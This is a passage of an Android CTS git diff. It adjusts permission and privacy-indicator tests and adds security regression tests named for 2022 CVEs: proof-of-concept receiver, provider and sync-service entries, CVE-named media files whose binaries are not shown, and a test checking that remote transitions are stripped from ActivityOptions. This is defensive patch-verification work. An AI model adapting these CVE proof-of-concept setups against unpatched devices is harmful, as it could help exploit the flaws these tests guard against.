android:protectionLevel="signature|privileged|recents" /> + <!-- Allows an UID to be visible to the application based on an interaction between the two apps. This permission is not intended to be held by apps. @hide @TestApi --> diff --git a/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java b/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java index edfcf3a9291..ca4794dbe0c 100644 --- a/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java +++ b/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java @@ -71,6 +71,9 @@ public class PermissionPolicyTest { private static final String MANAGE_COMPANION_DEVICES_PERMISSION = "android.permission.MANAGE_COMPANION_DEVICES"; + private static final String SET_UNRESTRICTED_GESTURE_EXCLUSION + = "android.permission.SET_UNRESTRICTED_GESTURE_EXCLUSION"; + private static final String LOG_TAG = "PermissionProtectionTest"; private static final String PLATFORM_PACKAGE_NAME = "android"; @@ -475,6 +478,8 @@ public class PermissionPolicyTest { return parseDate(SECURITY_PATCH).before(HIDE_NON_SYSTEM_OVERLAY_WINDOWS_PATCH_DATE); case MANAGE_COMPANION_DEVICES_PERMISSION: return parseDate(SECURITY_PATCH).before(MANAGE_COMPANION_DEVICES_PATCH_DATE); + case SET_UNRESTRICTED_GESTURE_EXCLUSION: + return true; default: return false; } diff --git a/tests/tests/permission3/src/android/permission3/cts/MediaPermissionTest.kt b/tests/tests/permission3/src/android/permission3/cts/MediaPermissionTest.kt index 6693aa325e3..8bd15373101 100644 --- a/tests/tests/permission3/src/android/permission3/cts/MediaPermissionTest.kt +++ b/tests/tests/permission3/src/android/permission3/cts/MediaPermissionTest.kt @@ -20,6 +20,7 @@ import android.Manifest import android.os.Build import androidx.test.filters.SdkSuppress import com.android.compatibility.common.util.SystemUtil +import org.junit.Assume import org.junit.Test /** @@ -96,6 +97,8 @@ class MediaPermissionTest : BaseUsePermissionTest() { @Test fun testWhenVisualIsDeniedManuallyThenShouldDenyAllPermissions() { + // TODO: Re-enable after b/239249703 is fixed + Assume.assumeFalse("skip on TV due to flaky", isTv) installPackage(APP_APK_PATH_23) grantAppPermissions(android.Manifest.permission.READ_MEDIA_VIDEO, targetSdk = 23) revokeAppPermissions(android.Manifest.permission.READ_MEDIA_VIDEO, targetSdk = 23) diff --git a/tests/tests/permission3/src/android/permission3/cts/PermissionAttributionTest.kt b/tests/tests/permission3/src/android/permission3/cts/PermissionAttributionTest.kt index 31e544951b5..367ae31fab2 100644 --- a/tests/tests/permission3/src/android/permission3/cts/PermissionAttributionTest.kt +++ b/tests/tests/permission3/src/android/permission3/cts/PermissionAttributionTest.kt @@ -22,13 +22,11 @@ import android.content.ComponentName import android.content.Intent import android.location.LocationManager import android.os.Build -import android.provider.DeviceConfig import android.support.test.uiautomator.By import androidx.test.filters.SdkSuppress import com.android.compatibility.common.util.AppOpsUtils.setOpMode import com.android.compatibility.common.util.CtsDownstreamingTest import com.android.compatibility.common.util.SystemUtil.callWithShellPermissionIdentity -import com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity import org.junit.After import org.junit.Assert.assertEquals import org.junit.Assert.assertTrue @@ -47,7 +45,6 @@ class PermissionAttributionTest : BasePermissionHubTest() { private val micLabel = packageManager.getPermissionGroupInfo( android.Manifest.permission_group.MICROPHONE, 0).loadLabel(packageManager).toString() val locationManager = context.getSystemService(LocationManager::class.java)!! - private var wasEnabled = false @Before fun installAppLocationProviderAndAllowMockLocation() { @@ -63,15 +60,11 @@ class PermissionAttributionTest : BasePermissionHubTest() { setOpMode( context.packageName, AppOpsManager.OPSTR_MOCK_LOCATION, AppOpsManager.MODE_ALLOWED ) - wasEnabled = setSubattributionEnabledStateIfNeeded(true) } @After fun teardown() { locationManager.removeTestProvider(APP_PACKAGE_NAME) - if (!wasEnabled) { - setSubattributionEnabledStateIfNeeded(false) - } } @Test @@ -115,24 +108,10 @@ class PermissionAttributionTest : BasePermissionHubTest() { assertEquals(Activity.RESULT_OK, result.resultCode) } - private fun setSubattributionEnabledStateIfNeeded(shouldBeEnabled: Boolean): Boolean { - var currentlyEnabled = false - runWithShellPermissionIdentity { - currentlyEnabled = DeviceConfig.getBoolean(DeviceConfig.NAMESPACE_PRIVACY, - FLAG_SUBATTRIBUTION, false) - if (currentlyEnabled != shouldBeEnabled) { - DeviceConfig.setProperty(DeviceConfig.NAMESPACE_PRIVACY, FLAG_SUBATTRIBUTION, - shouldBeEnabled.toString(), false) - } - } - return currentlyEnabled - } - companion object { const val APP_APK_PATH = "$APK_DIRECTORY/CtsAccessMicrophoneAppLocationProvider.apk" const val APP_PACKAGE_NAME = "android.permission3.cts.accessmicrophoneapplocationprovider" const val APP_LABEL = "LocationProviderWithMicApp" const val ATTRIBUTION_LABEL = "Attribution Label" - const val FLAG_SUBATTRIBUTION = "permissions_hub_subattribution_enabled" } } diff --git a/tests/tests/permission3/src/android/permission3/cts/PermissionHistoryTest.kt b/tests/tests/permission3/src/android/permission3/cts/PermissionHistoryTest.kt index 5355fdc6860..9e8b3a053eb 100644 --- a/tests/tests/permission3/src/android/permission3/cts/PermissionHistoryTest.kt +++ b/tests/tests/permission3/src/android/permission3/cts/PermissionHistoryTest.kt @@ -28,8 +28,8 @@ import com.android.modules.utils.build.SdkLevel import org.junit.After import org.junit.Assume.assumeFalse import org.junit.Before -import org.junit.Ignore import org.junit.Test +import java.util.regex.Pattern private const val APP_LABEL_1 = "CtsMicAccess" private const val APP_LABEL_2 = "CtsMicAccess2" @@ -42,14 +42,14 @@ private const val SHOW_SYSTEM = "Show system" private const val SHOW_7_DAYS = "Show 7 days" private const val SHOW_24_HOURS = "Show 24 hours" private const val MORE_OPTIONS = "More options" -private const val TIMELINE_7_DAYS_DESCRIPTION = "in the past 7 days" -private const val DASHBOARD_7_DAYS_DESCRIPTION = "7 days" +private const val DASHBOARD_7_DAYS_DESCRIPTION_REGEX = "^.*7.*days$" private const val PRIV_DASH_7_DAY_ENABLED = "privacy_dashboard_7_day_toggle" +private const val REFRESH = "Refresh" @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S) class PermissionHistoryTest : BasePermissionHubTest() { private val micLabel = packageManager.getPermissionGroupInfo( - Manifest.permission_group.MICROPHONE, 0).loadLabel(packageManager).toString() + Manifest.permission_group.MICROPHONE, 0).loadLabel(packageManager).toString() private var was7DayToggleEnabled = false // Permission history is not available on TV devices. @@ -100,15 +100,27 @@ class PermissionHistoryTest : BasePermissionHubTest() { waitFindObject(By.textContains(APP_LABEL_1)) openPermissionDashboard() - waitFindObject(By.res("android:id/title").textContains("Microphone")).click() - waitFindObject(By.textContains(micLabel)) - waitFindObject(By.textContains(APP_LABEL_1)) + + SystemUtil.eventually { + try { + waitFindObject(By.hasChild(By.textContains("Microphone")) + .hasChild(By.textStartsWith("Used by"))) + .click() + waitFindObject(By.textContains(micLabel)) + waitFindObject(By.textContains(APP_LABEL_1)) + } catch (e: Exception) { + // Sometimes the dashboard was in the state from previous failed tests. + // Clicking the refresh button to get the most recent access. + waitFindObject(By.descContains(REFRESH)).click() + throw e + } + } + pressBack() pressBack() } @Test - @Ignore fun testToggleSystemApps() { // I had some hard time mocking a system app. // Hence here I am only testing if the toggle is there. @@ -121,10 +133,18 @@ class PermissionHistoryTest : BasePermissionHubTest() { // Auto doesn't show the "Show system" action when it is disabled. If a system app ends up // being installed for this test, then the Auto logic should be tested too. if (!isAutomotive) { - val menuView = waitFindObject(By.descContains(MORE_OPTIONS)) - menuView.click() - - waitFindObject(By.text(SHOW_SYSTEM)) + SystemUtil.eventually { + try { + val menuView = waitFindObject(By.descContains(MORE_OPTIONS)) + menuView.click() + waitFindObject(By.text(SHOW_SYSTEM)) + } catch (e: Exception) { + // Sometimes the dashboard was in the state from previous failed tests. + // Clicking the refresh button to get the most recent access. + waitFindObject(By.descContains(REFRESH)).click() + throw e + } + } } pressBack() @@ -152,14 +172,24 @@ class PermissionHistoryTest : BasePermissionHubTest() { waitFindObject(By.text(SHOW_7_DAYS)).click() } - waitFindObject(By.res("android:id/title").textContains("Microphone")) - waitFindObject(By.textContains(DASHBOARD_7_DAYS_DESCRIPTION)) + SystemUtil.eventually { + try { + waitFindObject(By.hasChild(By.textContains("Microphone")) + .hasChild(By.textStartsWith("Used by"))) + } catch (e: Exception) { + // Sometimes the dashboard was in the state from previous failed tests. + // Clicking the refresh button to get the most recent access. + waitFindObject(By.descContains(REFRESH)).click() + throw e + } + } + + waitFindObject(By.text(Pattern.compile(DASHBOARD_7_DAYS_DESCRIPTION_REGEX, Pattern.DOTALL))) pressBack() } @Test - @Ignore fun testToggleFrom24HoursTo7DaysInTimeline() { // Auto doesn't support the 7 day view assumeFalse(isAutomotive) @@ -182,13 +212,12 @@ class PermissionHistoryTest : BasePermissionHubTest() { waitFindObject(By.descContains(micLabel)) waitFindObject(By.textContains(APP_LABEL_1)) - waitFindObject(By.textContains(TIMELINE_7_DAYS_DESCRIPTION)) + waitFindObject(By.text(Pattern.compile(DASHBOARD_7_DAYS_DESCRIPTION_REGEX, Pattern.DOTALL))) pressBack() } @Test - @Ignore fun testMicrophoneTimelineWithOneApp() { openMicrophoneApp(INTENT_ACTION_1) waitFindObject(By.textContains(APP_LABEL_1)) @@ -204,7 +233,6 @@ class PermissionHistoryTest : BasePermissionHubTest() { } @Test - @Ignore fun testCameraTimelineWithMultipleApps() { openMicrophoneApp(INTENT_ACTION_1) waitFindObject(By.textContains(APP_LABEL_1)) diff --git a/tests/tests/permission4/src/android/permission4/cts/CameraMicIndicatorsPermissionTest.kt b/tests/tests/permission4/src/android/permission4/cts/CameraMicIndicatorsPermissionTest.kt index 90e613db5f1..d5bd49bdf37 100644 --- a/tests/tests/permission4/src/android/permission4/cts/CameraMicIndicatorsPermissionTest.kt +++ b/tests/tests/permission4/src/android/permission4/cts/CameraMicIndicatorsPermissionTest.kt @@ -37,7 +37,6 @@ import android.support.test.uiautomator.BySelector import android.support.test.uiautomator.StaleObjectException import android.support.test.uiautomator.UiDevice import android.support.test.uiautomator.UiObject2 -import android.support.test.uiautomator.UiScrollable import android.support.test.uiautomator.UiSelector import androidx.annotation.RequiresApi import androidx.test.filters.SdkSuppress @@ -79,6 +78,8 @@ private const val IDLE_TIMEOUT_MILLIS: Long = 1000 private const val UNEXPECTED_TIMEOUT_MILLIS = 1000 private const val TIMEOUT_MILLIS: Long = 20000 private const val TV_MIC_INDICATOR_WINDOW_TITLE = "MicrophoneCaptureIndicator" +private const val MIC_LABEL_NAME = "microphone_toggle_label_qs" +private const val CAMERA_LABEL_NAME = "camera_toggle_label_qs" class CameraMicIndicatorsPermissionTest { private val instrumentation: Instrumentation = InstrumentationRegistry.getInstrumentation() @@ -91,11 +92,9 @@ class CameraMicIndicatorsPermissionTest { private val isTv = packageManager.hasSystemFeature(PackageManager.FEATURE_LEANBACK) private val isCar = packageManager.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE) + private val micLabel = getPermissionControllerString(MIC_LABEL_NAME) + private val cameraLabel = getPermissionControllerString(CAMERA_LABEL_NAME) private var wasEnabled = false - private val micLabel = packageManager.getPermissionGroupInfo( - Manifest.permission_group.MICROPHONE, 0).loadLabel(packageManager).toString() - private val cameraLabel = packageManager.getPermissionGroupInfo( - Manifest.permission_group.CAMERA, 0).loadLabel(packageManager).toString() private var isScreenOn = false private var screenTimeoutBeforeTest: Long = 0L @@ -298,7 +297,7 @@ class CameraMicIndicatorsPermissionTest { // indicator uiDevice.openQuickSettings() assertPrivacyChipAndIndicatorsPresent( - useMic || useHotword, + useMic, useCamera, chainUsage, safetyCenterEnabled @@ -393,11 +392,13 @@ class CameraMicIndicatorsPermissionTest { chainUsage: Boolean, safetyCenterEnabled: Boolean = false ) { - // Ensure the privacy chip is present - eventually { - val privacyChip = uiDevice.findObject(UiSelector().resourceId(PRIVACY_CHIP_ID)) - assertTrue("view with id $PRIVACY_CHIP_ID not found", privacyChip.exists()) - privacyChip.click() + // Ensure the privacy chip is present (or not) + val chipFound = isChipPresent() + if (useMic || useCamera) { + assertTrue("Did not find chip", chipFound) + } else { // hotword + assertFalse("Found chip, but did not expect to", chipFound) + return } eventually { @@ -455,8 +456,6 @@ class CameraMicIndicatorsPermissionTest { } if (safetyCenterEnabled) { - val appView = UiScrollable(UiSelector().scrollable(true)) - appView.scrollIntoView(UiSelector().resourceId(SAFETY_CENTER_ITEM_ID)) var micView = waitFindObjectOrNull(By.text(micLabel)) assertNotNull("View with text $micLabel not found", micView) var camView = waitFindObjectOrNull(By.text(cameraLabel)) @@ -473,6 +472,21 @@ class CameraMicIndicatorsPermissionTest { } } + private fun isChipPresent(): Boolean { + var chipFound = false + try { + eventually { + val privacyChip = uiDevice.findObject(By.res(PRIVACY_CHIP_ID)) + assertNotNull("view with id $PRIVACY_CHIP_ID not found", privacyChip) + privacyChip.click() + chipFound = true + } + } catch (e: Exception) { + // Handle more gracefully after + } + return chipFound + } + private fun pressBack() { uiDevice.pressBack() waitForIdle() @@ -523,4 +537,18 @@ class CameraMicIndicatorsPermissionTest { automatorMethod(remainingTime) } } + + private fun getPermissionControllerString(resourceName: String): String { + val permissionControllerPkg = context.packageManager.permissionControllerPackageName + try { + val permissionControllerContext = + context.createPackageContext(permissionControllerPkg, 0) + val resourceId = + permissionControllerContext.resources.getIdentifier( + resourceName, "string", "com.android.permissioncontroller") + return permissionControllerContext.getString(resourceId) + } catch (e: PackageManager.NameNotFoundException) { + throw RuntimeException(e) + } + } }
\ No newline at end of file diff --git a/tests/tests/permission5/src/android/permission5/cts/RuntimePermissionsAppOpTrackingTest.kt b/tests/tests/permission5/src/android/permission5/cts/RuntimePermissionsAppOpTrackingTest.kt index 8cff38a67a9..67fa1bc3207 100644 --- a/tests/tests/permission5/src/android/permission5/cts/RuntimePermissionsAppOpTrackingTest.kt +++ b/tests/tests/permission5/src/android/permission5/cts/RuntimePermissionsAppOpTrackingTest.kt @@ -25,6 +25,7 @@ import android.content.Context import android.content.ContextParams import android.content.Intent import android.content.pm.PackageManager.FEATURE_LEANBACK +import android.content.pm.PackageManager.FEATURE_TELEPHONY import android.net.Uri import android.os.Bundle import android.os.Process @@ -44,6 +45,7 @@ import com.android.compatibility.common.util.SystemUtil import com.google.common.truth.Truth.assertThat import org.junit.After import org.junit.Assume.assumeFalse +import org.junit.Assume.assumeTrue import org.junit.Before import org.junit.Test import org.mockito.ArgumentMatcher @@ -105,6 +107,7 @@ class RuntimePermissionsAppOpTrackingTest { @Throws(Exception::class) fun testSelfSmsAccess() { assumeNotTv() + assumeHasTelephony() testSelfAccess(Telephony.Sms.CONTENT_URI, Manifest.permission.READ_SMS) } @@ -178,6 +181,7 @@ class RuntimePermissionsAppOpTrackingTest { @Throws(Exception::class) fun testUntrustedSmsAccessAttributeToAnother() { assumeNotTv() + assumeHasTelephony() testUntrustedAccessAttributeToAnother(Telephony.Sms.CONTENT_URI, Manifest.permission.READ_SMS) } @@ -225,6 +229,7 @@ class RuntimePermissionsAppOpTrackingTest { @Throws(Exception::class) fun testUntrustedSmsAccessAttributeToAnotherThroughIntermediary() { assumeNotTv() + assumeHasTelephony() testUntrustedAccessAttributeToAnotherThroughIntermediary( Telephony.Sms.CONTENT_URI, Manifest.permission.READ_SMS) @@ -323,6 +328,7 @@ class RuntimePermissionsAppOpTrackingTest { @Throws(Exception::class) fun testTrustedAccessSmsAttributeToAnother() { assumeNotTv() + assumeHasTelephony() testTrustedAccessAttributeToAnother(Telephony.Sms.CONTENT_URI, Manifest.permission.READ_SMS) } @@ -666,6 +672,7 @@ class RuntimePermissionsAppOpTrackingTest { get() = InstrumentationRegistry.getInstrumentation() private val isTv = context.packageManager.hasSystemFeature(FEATURE_LEANBACK) + private val isTel = context.packageManager.hasSystemFeature(FEATURE_TELEPHONY) fun ensureAuxiliaryAppsNotRunningAndNoResidualProcessState() { SystemUtil.runShellCommand("am force-stop $RECEIVER_PACKAGE_NAME") @@ -1178,5 +1185,6 @@ class RuntimePermissionsAppOpTrackingTest { } private fun assumeNotTv() = assumeFalse(isTv) + private fun assumeHasTelephony() = assumeTrue(isTel) } } diff --git a/tests/tests/preference/src/android/preference/cts/PreferenceActivityLegacyFlowTest.java b/tests/tests/preference/src/android/preference/cts/PreferenceActivityLegacyFlowTest.java index 29cf672a829..782f30c6508 100644 --- a/tests/tests/preference/src/android/preference/cts/PreferenceActivityLegacyFlowTest.java +++ b/tests/tests/preference/src/android/preference/cts/PreferenceActivityLegacyFlowTest.java @@ -103,7 +103,8 @@ public class PreferenceActivityLegacyFlowTest { } private void assertScreenshotsAreEqual(Bitmap before, Bitmap after) { - assertTrue("Screenshots do not match!", BitmapUtils.compareBitmaps(before, after)); + // TODO(b/227553681): remove the precision=0.99 arg so it does a pixel-by-pixel check + assertTrue("Screenshots do not match!", BitmapUtils.compareBitmaps(before, after, 0.99)); } private void assertTextShown(String text) { diff --git a/tests/tests/provider/OWNERS b/tests/tests/provider/OWNERS index 1e318ea0d73..7c9a6b2adaf 100644 --- a/tests/tests/provider/OWNERS +++ b/tests/tests/provider/OWNERS @@ -1,7 +1,13 @@ -# Bug component: 655625 - -include platform/frameworks/base:/core/java/android/os/storage/OWNERS - tgunn@google.com nicksauer@google.com nona@google.com + +# Storage team ownership + +# Bug component: 655625 = per-file *MediaStore* + +per-file *MediaStore* = file:platform/frameworks/base:/core/java/android/os/storage/OWNERS +per-file Android.bp = file:platform/frameworks/base:/core/java/android/os/storage/OWNERS +per-file AndroidManifest.xml = file:platform/frameworks/base:/core/java/android/os/storage/OWNERS +per-file AndroidTest.xml = file:platform/frameworks/base:/core/java/android/os/storage/OWNERS +per-file OWNERS = file:platform/frameworks/base:/core/java/android/os/storage/OWNERS diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Images_MediaTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Images_MediaTest.java index d51c54025e7..88f45e2877a 100644 --- a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Images_MediaTest.java +++ b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Images_MediaTest.java @@ -371,6 +371,7 @@ public class MediaStore_Images_MediaTest { private File copyResourceToFile(int sourceResId, File destinationDir, String destinationFileName) throws Exception { final File file = new File(destinationDir, destinationFileName); + destinationDir.mkdirs(); file.createNewFile(); try (InputStream source = InstrumentationRegistry.getTargetContext().getResources() diff --git a/tests/tests/security/Android.bp b/tests/tests/security/Android.bp index 00a1e371746..0cf3dd54c6b 100644 --- a/tests/tests/security/Android.bp +++ b/tests/tests/security/Android.bp @@ -35,6 +35,7 @@ android_test { "platform-test-annotations", "sts-device-util", "hamcrest-library", + "NeneInternal", ], libs: [ "android.test.runner", diff --git a/tests/tests/security/AndroidManifest.xml b/tests/tests/security/AndroidManifest.xml index 186c5e2ab7b..2c5e2482754 100644 --- a/tests/tests/security/AndroidManifest.xml +++ b/tests/tests/security/AndroidManifest.xml @@ -201,6 +201,34 @@ </intent-filter> </activity> + <receiver android:name="android.security.cts.CVE_2022_20420.PocDeviceAdminReceiver" + android:exported="true" + android:permission="android.permission.BIND_DEVICE_ADMIN"> + <meta-data android:name="android.app.device_admin" + android:resource="@xml/device_admin_CVE_2022_20420" /> + <intent-filter> + <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" /> + </intent-filter> + </receiver> + + <activity android:name="android.security.cts.ActivityManagerTest$ActivityOptionsActivity" /> + <activity android:name="android.security.cts.ActivityManagerTest$BaseActivity" /> + + <provider android:name="android.security.cts.CVE_2022_20358.PocContentProvider" + android:authorities="android.security.cts.CVE_2022_20358.provider" + android:enabled="true" + android:exported="true" /> + + <service android:name="android.security.cts.CVE_2022_20358.PocSyncService" + android:enabled="true" + android:exported="true"> + <intent-filter> + <action android:name="android.content.SyncAdapter" /> + </intent-filter> + <meta-data android:name="android.content.SyncAdapter" + android:resource="@xml/syncadapter" /> + </service> + </application> <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner" diff --git a/tests/tests/security/aidl/android/security/cts/IBitmapService.aidl b/tests/tests/security/aidl/android/security/cts/IBitmapService.aidl index b9694c32af7..24e55c5cc79 100644 --- a/tests/tests/security/aidl/android/security/cts/IBitmapService.aidl +++ b/tests/tests/security/aidl/android/security/cts/IBitmapService.aidl @@ -22,4 +22,5 @@ interface IBitmapService { int getAllocationSize(in BitmapWrapper bitmap); boolean didReceiveBitmap(in BitmapWrapper bitmap); boolean ping(); + void exit(); } diff --git a/tests/tests/security/res/raw/cve_2022_22083.ape b/tests/tests/security/res/raw/cve_2022_22083.ape Binary files differnew file mode 100644 index 00000000000..05d6d730cfa --- /dev/null +++ b/tests/tests/security/res/raw/cve_2022_22083.ape diff --git a/tests/tests/security/res/raw/cve_2022_22084.qcp b/tests/tests/security/res/raw/cve_2022_22084.qcp Binary files differnew file mode 100644 index 00000000000..c41d21ec9ff --- /dev/null +++ b/tests/tests/security/res/raw/cve_2022_22084.qcp diff --git a/tests/tests/security/res/raw/cve_2022_22085.dts b/tests/tests/security/res/raw/cve_2022_22085.dts Binary files differnew file mode 100644 index 00000000000..3a886317ae8 --- /dev/null +++ b/tests/tests/security/res/raw/cve_2022_22085.dts diff --git a/tests/tests/security/res/raw/cve_2022_22086.3gp b/tests/tests/security/res/raw/cve_2022_22086.3gp Binary files differnew file mode 100644 index 00000000000..715d10c1a2b --- /dev/null +++ b/tests/tests/security/res/raw/cve_2022_22086.3gp diff --git a/tests/tests/security/res/raw/cve_2022_22087.mkv b/tests/tests/security/res/raw/cve_2022_22087.mkv Binary files differnew file mode 100644 index 00000000000..0b25fe47095 --- /dev/null +++ b/tests/tests/security/res/raw/cve_2022_22087.mkv diff --git a/tests/tests/security/res/raw/cve_2022_25657.mkv b/tests/tests/security/res/raw/cve_2022_25657.mkv Binary files differnew file mode 100644 index 00000000000..3d5f70ed561 --- /dev/null +++ b/tests/tests/security/res/raw/cve_2022_25657.mkv diff --git a/tests/tests/security/res/raw/cve_2022_25659.mkv b/tests/tests/security/res/raw/cve_2022_25659.mkv Binary files differnew file mode 100644 index 00000000000..9eda647727b --- /dev/null +++ b/tests/tests/security/res/raw/cve_2022_25659.mkv diff --git a/tests/tests/security/res/xml/device_admin_CVE_2022_20420.xml b/tests/tests/security/res/xml/device_admin_CVE_2022_20420.xml new file mode 100644 index 00000000000..cb567e31d4e --- /dev/null +++ b/tests/tests/security/res/xml/device_admin_CVE_2022_20420.xml @@ -0,0 +1,20 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + Copyright 2022 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. + --> +<device-admin> + <uses-policies> + </uses-policies> +</device-admin> diff --git a/tests/tests/security/res/xml/syncadapter.xml b/tests/tests/security/res/xml/syncadapter.xml new file mode 100644 index 00000000000..478fad5327f --- /dev/null +++ b/tests/tests/security/res/xml/syncadapter.xml @@ -0,0 +1,19 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + Copyright 2022 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. + --> +<sync-adapter xmlns:android="http://schemas.android.com/apk/res/android" + android:accountType="CVE_2022_20358_acc" + android:isAlwaysSyncable="true" /> diff --git a/tests/tests/security/src/android/security/cts/ActivityManagerTest.java b/tests/tests/security/src/android/security/cts/ActivityManagerTest.java index f16b8fb2111..a27a0b940cd 100644 --- a/tests/tests/security/src/android/security/cts/ActivityManagerTest.java +++ b/tests/tests/security/src/android/security/cts/ActivityManagerTest.java @@ -15,24 +15,43 @@ */ package android.security.cts; +import static android.app.ActivityOptions.ANIM_SCENE_TRANSITION; +import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK; +import static android.content.Intent.FLAG_ACTIVITY_NO_USER_ACTION; +import static android.view.Window.FEATURE_ACTIVITY_TRANSITIONS; + import static org.junit.Assert.*; +import android.app.Activity; import android.app.ActivityManager; -import android.app.ApplicationExitInfo; +import android.app.ActivityOptions; +import android.app.Application; import android.content.Context; +import android.content.Intent; +import android.os.Bundle; import android.os.IBinder; +import android.os.RemoteException; import android.platform.test.annotations.AsbSecurityTest; import android.util.Log; -import androidx.test.runner.AndroidJUnit4; +import android.view.SurfaceControl; +import android.window.IRemoteTransition; +import android.window.IRemoteTransitionFinishedCallback; +import android.window.RemoteTransition; +import android.window.TransitionInfo; import androidx.test.InstrumentationRegistry; +import androidx.test.runner.AndroidJUnit4; + +import com.android.compatibility.common.util.SystemUtil; import com.android.sts.common.util.StsExtraBusinessLogicTestCase; -import junit.framework.TestCase; +import org.junit.Test; +import org.junit.runner.RunWith; + +import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; +import java.util.concurrent.Callable; -import org.junit.runner.RunWith; -import org.junit.Test; @RunWith(AndroidJUnit4.class) public class ActivityManagerTest extends StsExtraBusinessLogicTestCase { @@ -111,6 +130,51 @@ public class ActivityManagerTest extends StsExtraBusinessLogicTestCase { assertTrue(Math.abs((double) mockPackagescores / totalLoops - 0.5d) < tolerance); } + @AsbSecurityTest(cveBugId = 237290578) + @Test + public void testActivityManager_stripTransitionFromActivityOptions() throws Exception { + Context targetContext = getInstrumentation().getTargetContext(); + + // Need to start a base activity since this requires shared element transition. + final Intent baseIntent = new Intent(targetContext, BaseActivity.class); + baseIntent.setFlags(FLAG_ACTIVITY_NO_USER_ACTION | FLAG_ACTIVITY_NEW_TASK); + final BaseActivity baseActivity = (BaseActivity) SystemUtil.callWithShellPermissionIdentity( + () -> getInstrumentation().startActivitySync(baseIntent)); + + RemoteTransition someRemote = new RemoteTransition(new IRemoteTransition.Stub() { + @Override + public void startAnimation(IBinder token, TransitionInfo info, + SurfaceControl.Transaction t, + IRemoteTransitionFinishedCallback finishCallback) throws RemoteException { + t.apply(); + finishCallback.onTransitionFinished(null /* wct */, null /* sct */); + } + + @Override + public void mergeAnimation(IBinder token, TransitionInfo info, + SurfaceControl.Transaction t, IBinder mergeTarget, + IRemoteTransitionFinishedCallback finishCallback) throws RemoteException { + } + }); + ActivityOptions opts = ActivityOptions.makeRemoteTransition(someRemote); + assertTrue(waitUntil(() -> baseActivity.mResumed)); + ActivityOptions sceneOpts = baseActivity.mSceneOpts; + assertEquals(ANIM_SCENE_TRANSITION, sceneOpts.getAnimationType()); + + // Prepare the intent + final Intent intent = new Intent(targetContext, ActivityOptionsActivity.class); + intent.setFlags(FLAG_ACTIVITY_NO_USER_ACTION | FLAG_ACTIVITY_NEW_TASK); + final Bundle optionsBundle = opts.toBundle(); + optionsBundle.putAll(sceneOpts.toBundle()); + final ActivityOptionsActivity activity = + (ActivityOptionsActivity) SystemUtil.callWithShellPermissionIdentity( + () -> getInstrumentation().startActivitySync(intent, optionsBundle)); + assertTrue(waitUntil(() -> activity.mResumed)); + + assertTrue(activity.mPreCreate || activity.mPreStart); + assertNull(activity.mReceivedTransition); + } + /** * Run ActivityManager.getHistoricalProcessExitReasons once, return the time spent on it. */ @@ -122,4 +186,108 @@ public class ActivityManagerTest extends StsExtraBusinessLogicTestCase { } return System.nanoTime() - start; } + + private boolean waitUntil(Callable<Boolean> test) throws Exception { + long timeoutMs = 2000; + final long timeout = System.currentTimeMillis() + timeoutMs; + while (!test.call()) { + final long waitMs = timeout - System.currentTimeMillis(); + if (waitMs <= 0) break; + try { + wait(timeoutMs); + } catch (InterruptedException e) { + // retry + } + } + return test.call(); + } + + public static class BaseActivity extends Activity { + public boolean mResumed = false; + public ActivityOptions mSceneOpts = null; + + @Override + public void onCreate(Bundle i) { + super.onCreate(i); + getWindow().requestFeature(FEATURE_ACTIVITY_TRANSITIONS); + mSceneOpts = ActivityOptions.makeSceneTransitionAnimation(this); + } + + @Override + public void onResume() { + super.onResume(); + mResumed = true; + } + } + + public static class ActivityOptionsActivity extends Activity { + public RemoteTransition mReceivedTransition = null; + public boolean mPreCreate = false; + public boolean mPreStart = false; + public boolean mResumed = false; + + public ActivityOptionsActivity() { + registerActivityLifecycleCallbacks(new Callbacks()); + } + + private class Callbacks implements Application.ActivityLifecycleCallbacks { + private void accessOptions(Activity activity) { + try { + Field mPendingOptions = Activity.class.getDeclaredField("mPendingOptions"); + mPendingOptions.setAccessible(true); + ActivityOptions options = (ActivityOptions) mPendingOptions.get(activity); + if (options != null) { + mReceivedTransition = options.getRemoteTransition(); + } + } catch (ReflectiveOperationException e) { + throw new RuntimeException(e); + } + } + + @Override + public void onActivityPreCreated(Activity activity, Bundle i) { + mPreCreate = true; + if (mReceivedTransition == null) { + accessOptions(activity); + } + } + + @Override + public void onActivityPreStarted(Activity activity) { + mPreStart = true; + if (mReceivedTransition == null) { + accessOptions(activity); + } + } + + @Override + public void onActivityCreated(Activity activity, Bundle savedInstanceState) { + } + + @Override + public void onActivityStarted(Activity activity) { + } + + @Override + public void onActivityResumed(Activity activity) { + mResumed = true; + } + + @Override + public void onActivityPaused(Activity activity) { + } + + @Override + public void onActivityStopped(Activity activity) { + } + + @Override + public void onActivitySaveInstanceState(Activity activity, Bundle outState) { + } + + @Override + public void onActivityDestroyed(Activity activity) { + } + } + } } diff --git a/tests/tests/security/src/android/security/cts/BitmapService.java b/tests/tests/security/src/android/security/cts/BitmapService.java index c532e05e906..ec39ab0640b 100644 --- 